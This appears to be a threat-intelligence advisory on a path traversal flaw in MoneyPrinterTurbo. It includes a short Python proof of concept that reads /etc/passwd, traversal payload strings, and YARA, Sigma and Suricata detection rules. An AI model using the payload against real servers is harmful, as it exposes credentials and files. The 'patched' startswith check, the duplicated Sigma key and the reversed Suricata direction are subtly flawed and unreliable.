CVE-2025-10472

Executive Summary

CVE-2025-10472 is a path traversal vulnerability in the MoneyPrinterTurbo application by Harry0703, affecting versions up to and including 1.2.6. The flaw resides in the download_video and stream_video functions within app/controllers/v1/video.py. By manipulating the file_path argument, an unauthenticated remote attacker can read arbitrary files from the server filesystem. The vulnerability has been publicly disclosed with proof-of-concept code, and no official patch is currently available. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is High (7.5) with a focus on confidentiality impact.

Supply Chain & Package Security

This is a Python-based application (PyPI ecosystem). The vulnerability is in the application's own code, not in a third-party package. However, users should verify the integrity of their MoneyPrinterTurbo installation and monitor for any malicious modifications to the video.py file.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read, including sensitive data.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Base Score: 7.5 (High)

Threat Level: High. The exploit is public, requires no authentication, and can lead to exposure of configuration files, source code, or credentials.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the download_video and stream_video endpoints. The application takes a file_path parameter from the user and uses it to read a file from the server's filesystem without proper sanitization. By injecting ../ sequences, an attacker can escape the intended video directory and read any file the application process has access to.

Vulnerable Code Snippet (app/controllers/v1/video.py):

@app.route('/download_video', methods=['GET'])
def download_video():
    file_path = request.args.get('file_path')
    # No sanitization of file_path
    return send_file(file_path, as_attachment=True)

The send_file function from Flask will serve any file path provided, allowing traversal.

Vulnerable vs. Patched Code

Vulnerable (<= 1.2.6):

def download_video():
    file_path = request.args.get('file_path')
    return send_file(file_path, as_attachment=True)

Patched (Hypothetical):

import os

ALLOWED_DIR = os.path.abspath('videos')

def download_video():
    file_path = request.args.get('file_path')
    # Sanitize: resolve path and check it's within allowed directory
    safe_path = os.path.abspath(os.path.join(ALLOWED_DIR, file_path))
    if not safe_path.startswith(ALLOWED_DIR):
        return "Invalid path", 403
    return send_file(safe_path, as_attachment=True)

No official patch exists as of this report.

Exploitation & Lab Setup

Red Team

Exploit Proof-of-Concept (Python):

import requests

target = "http://target.com:5000"
payload = "/download_video?file_path=../../../../etc/passwd"
response = requests.get(target + payload)
print(response.text)

Lab Setup:

1. Deploy MoneyPrinterTurbo v1.2.6 in a Docker container.
2. Expose port 5000.
3. Run the PoC to read /etc/passwd.

Blue Team

Detection:

• Monitor for requests containing ../ or file_path= parameters.
• Alert on access to sensitive files like /etc/passwd, /proc/self/environ, or application config files.

Hunting:

• Search web server logs for patterns like file_path=..%2f or file_path=..\\.
• Check for outbound connections from the application server to unexpected IPs (data exfiltration).

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /download_video or /stream_video with file_path parameter containing ../ or ..%2f.
• File System: Unexpected reads of /etc/passwd, /etc/shadow, application .env files, or database configuration files.
• Logs: Web server logs showing 200 responses to path traversal payloads.

Detection Engineering

YARA Rule

rule CVE_2025_10472_MoneyPrinterTurbo_PathTraversal {
    meta:
        description = "Detects path traversal attempts in MoneyPrinterTurbo video endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10472"
    strings:
        $traversal1 = "file_path=../" ascii wide nocase
        $traversal2 = "file_path=..%2f" ascii wide nocase
        $traversal3 = "file_path=..\\" ascii wide nocase
        $endpoint1 = "/download_video" ascii wide nocase
        $endpoint2 = "/stream_video" ascii wide nocase
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-10472 Path Traversal in MoneyPrinterTurbo
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against MoneyPrinterTurbo video endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/download_video'
            - '/stream_video'
        cs-uri-query|contains:
            - 'file_path=../'
            - 'file_path=..%2f'
            - 'file_path=..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in video filenames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10472 MoneyPrinterTurbo Path Traversal Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/download_video"; http_uri;
    content:"file_path="; http_uri;
    pcre:"/file_path=(\.\.(\/|%2f|\\\\))+/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the /download_video and /stream_video endpoints if not required.
2. Implement input validation – reject any file_path containing ../ or ..\\.
3. Use a whitelist – only allow specific video filenames (e.g., UUIDs) instead of user-supplied paths.
4. Apply a WAF rule to block path traversal patterns.

Long-term Fix:

• Upgrade to a patched version once released.
• Use os.path.abspath and os.path.commonpath to ensure the resolved path stays within an allowed directory.

Valters IT – DevSecOps & Cyber Threat Intelligence Expert.